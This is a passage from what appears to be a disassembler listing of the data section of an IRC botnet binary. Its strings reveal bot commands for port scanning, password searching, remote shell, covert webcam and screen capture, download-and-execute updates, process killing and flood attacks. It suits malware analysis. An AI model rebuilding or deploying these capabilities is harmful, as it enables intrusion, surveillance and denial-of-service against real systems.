		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_4300CC	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 10h
dword_430100	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+565Fo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_10	db '  Failed to start server thread, error: <%d>.',0
		align 4
dword_43014C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_40EE72+55F4o
		dd 2029671Fh, 2BBBB02h
aServerListen_0	db '  Server listening on IP: %s:%d, Username: %s.',0
		align 4
unk_430198	db    2			; DATA XREF: sub_40EE72+5528o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_4301E0	db    2			; DATA XREF: sub_40EE72+53B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_430228	db    2			; DATA XREF: sub_40EE72+5287o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_430254	db    2			; DATA XREF: sub_40EE72+5271o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_13	db '   Failed to start search thread, error: <%d>.',0
unk_4302A0	db    2			; DATA XREF: sub_40EE72+5200o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_4302D8	db    2			; DATA XREF: sub_40EE72:loc_414039o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start scan, port is invalid.',0
		align 4
unk_43031C	db    2			; DATA XREF: sub_40EE72+5108o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
dword_430394	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EC8o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4303C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4EACo
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_4303F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E89o
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_430428	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4E6Do
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_430450	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C5Eo
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_43048C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4DE5o
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_4304C0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413C11o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_4304F8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4D86o
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_40EE72+4D6Co
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE1o
					; sub_40EE72:loc_414B4Co
		align 4
dword_430544	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C68o
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_430578	db    3			; DATA XREF: sub_40EE72:loc_413AC5o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_4305BC	db    3			; DATA XREF: sub_40EE72+4C49o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_4305F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4C29o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_43062C	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_413A4Fo
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_430664	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4BB2o
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_430690	db    2			; DATA XREF: sub_40EE72:loc_4139F0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_4306D0	db    2			; DATA XREF: sub_40EE72+4B74o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 4
unk_430704	db    2			; DATA XREF: sub_40EE72:loc_413990o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_430748	db    2			; DATA XREF: sub_40EE72+4B17o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 10h
dword_430780	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+4AD2o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_4307AC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4A4Do
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 10h
dword_4307E0	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72+49D2o
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_430804	db    2			; DATA XREF: sub_40EE72+49B4o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToSta_15	db 'Failed to start connection thread, error: <%d>.',0
dword_430850	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40EE72+4945o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_430878	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_413745o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_4308A4	db    2			; DATA XREF: sub_40EE72+48C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_4308D0	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4898o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_4308F8	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+488Do
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 4
dword_430934	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+484Do
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_430964	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4839o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_430998	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413639o
		dd 2029671Fh, 2BBBB02h
aInvalidParam_0	db '  Invalid parameters for amateur video capture.',0
dword_4309E4	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41362Fo
		dd 2029671Fh, 2BBBB02h
aErrorWhileCapt	db '  Error while capturing amateur video from webcam.',0
		align 4
dword_430A34	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+47B3o
		dd 2029671Fh, 2BBBB02h
aAmateurVideoSa	db '  Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_40EE72:loc_4135A0o
		align 4
dword_430A78	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_41358Do
		dd 2029671Fh, 2BBBB02h
aInvalidParam_1	db '  Invalid parameters for webcam capture.',0
		align 10h
dword_430AC0	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413586o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_0	db '  Error while capturing from webcam.',0
		align 4
dword_430B04	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4704o
		dd 2029671Fh, 2BBBB02h
aWebcamCaptureS	db '  Webcam capture saved to: %s.',0
		align 10h
aFrame		db 'frame',0            ; DATA XREF: sub_40EE72:loc_4134FAo
		align 4
dword_430B48	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+467Bo
		dd 2029671Fh, 2BBBB02h
aDriverListComp	db '  Driver list complete.',0
dword_430B7C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+4645o
		dd 2029671Fh, 2BBBB02h
aDriverDSS_	db '  Driver #%d - %s - %s.',0
aDrivers	db 'drivers',0          ; DATA XREF: sub_40EE72:loc_413463o
dword_430BB8	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413450o
		dd 2029671Fh, 2BBBB02h
aNoFilenameSpec	db '  No filename specified for screen capture.',0
dword_430C00	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72:loc_413449o
		dd 2029671Fh, 2BBBB02h
aErrorWhileCa_1	db '  Error while capturing screen.',0
dword_430C3C	dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh
					; DATA XREF: sub_40EE72+45C7o
		dd 2029671Fh, 2BBBB02h
aScreenCaptureS	db '  Screen capture saved to: %s.',0
		align 4
aScreen		db 'screen',0           ; DATA XREF: sub_40EE72:loc_413400o
		align 10h
dword_430C80	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4576o
		dd 2BBBB02h, 65472020h,	736F6874h, 25203A74h, 2E73h
dword_430CA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4532o
		dd 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_430CE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4516o
		dd 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_430D1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4496o
		dd 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_430D48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+445Fo
		dd 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_430D74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+4411o
		dd 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 10h
dword_430DA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+43A0o
		dd 2BBBB02h, 79432020h,	2E656C63h, 0
dword_430DC4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4366o
					; sub_40EE72+4E78o
dword_430DD0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+433Fo
		dd 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+432Eo
		align 4
dword_430E08	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4305o
		dd 2202967h, 2002BBBBh,	77615220h, 73252820h, 25203A29h
		dd 73h
dword_430E34	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4297o
		dd 2202967h, 2002BBBBh,	646F4D20h, 25282065h, 203A2973h
		dd 7325h
dword_430E60	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_430E68	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_430E94	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_430E9C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_430EA8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_430EB0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_430EF4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_430F24	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_430F48	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_430F58	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_430FAC	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_430FF8	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 10h
dword_431040	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_431068	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_43109C	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_4310E8	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_431128	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_431144	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_431178	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_4311C0	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431208	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_431244	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_43128C	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_4312CC	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431314	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_431354	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43139C	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_4313D8	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_431428	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_431464	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_4314B8	db    2			; DATA XREF: sub_40EE72+36AEo
